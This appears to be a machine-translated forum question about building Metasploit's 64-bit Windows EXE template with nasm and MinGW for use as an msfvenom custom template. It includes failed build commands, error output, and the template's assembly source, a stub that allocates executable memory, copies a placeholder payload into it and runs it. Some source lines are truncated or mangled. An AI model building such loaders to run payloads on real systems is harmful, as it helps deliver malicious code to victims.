L'ho chiesto in precedenza e poi eliminato poiché penso di aver posto la domanda senza orientarla verso msfvenom e modelli EXE personalizzati.
Esiste un PE di Windows a 64 bit scritto in assembly fornito con Metasploit che sto cercando di compilare su un EXE e utilizzare come modello personalizzato per msfvenom. Come faccio a compilare / link / includere Windows DLL in Kali? Ho installato Mingw.
Ho provato questo:
nasm -fwin64 -o 64exetemplate.o 64exetemplate.nasm
Poi ho provato a collegarmi con Mingw come:
86_64-w64-mingw32-ld -o 64exetemplate.exe 64exetemplate.o
Come faccio a ottenere il comando asm per compilare / collegare? Penso che manchi un kernel32.dll mancante e non sono sicuro della sintassi .
Entrambi danno errori. Dalla domanda precedente, ho capito che devo dire a Mingw / gcc dove sono la DLL di windows o kernel32.dll?
root@box:/ nasm -f win64 64exetemplate.asm -o tiny.o
64exetemplate.asm:7: error: parser: instruction expected
64exetemplate.asm:8: error: symbol 'extrn' redefined
64exetemplate.asm:8: error: parser: instruction expected
64exetemplate.asm:12: error: parser: instruction expected
64exetemplate.asm:26: error: symbol 'main' redefined
64exetemplate.asm:26: error: parser: instruction expected
64exetemplate.asm:28: error: parser: instruction expected
64exetemplate.asm:29: error: parser: instruction expected
64exetemplate.asm:30: error: comma expected after operand 1
64exetemplate.asm:31: error: symbol 'payload' redefined
64exetemplate.asm:31: error: parser: instruction expected
root@box:/ x86_64-w64-mingw32-ld -o 64exetemplate.exe 64exetemplate.o
64exetemplate.o:(.text+0x1d): undefined reference to 'VirtualAlloc'
64exetemplate.o:(.text+0x3d): undefined reference to 'ExitProcess'
File assembly originale utilizzato per creare l'esecuzione portatile Windows a 64 bit.
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Architecture: x64
;
; Assemble and link with the following command:
; "C:\Program Files\Microsoft Visual Studio 9.0\VC\bin\x86_amd64\ml64" template_x64_windows.asm /link /su$
extrn ExitProcess : proc
extrn VirtualAlloc : proc
.code
main proc
sub rsp, 40 ;
mov r9, 40h ;
mov r8, 3000h ;
mov rdx, 4096 ;
xor rcx, rcx ;
call VirtualAlloc ; lpPayload = VirtualAlloc( NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE$
mov rcx, 4096 ;
mov rsi, payload ;
mov rdi, rax ;
rep movsb ; memcpy( lpPayload, payload, 4096 );
call rax ; lpPayload();
xor rcx, rcx ;
call ExitProcess ; ExitProcess( 0 );
main endp
payload proc
A byte 'PAYLOAD:'
B db 4096-8 dup ( 0 )
payload endp
end
Ancora una volta, so che l'ho chiesto prima (ora cancellato) ma questa è una domanda grande per le persone che desiderano modificare PE ASM per creare modelli EXE personalizzati con msfvenom. Spero di aver risolto questa domanda meglio.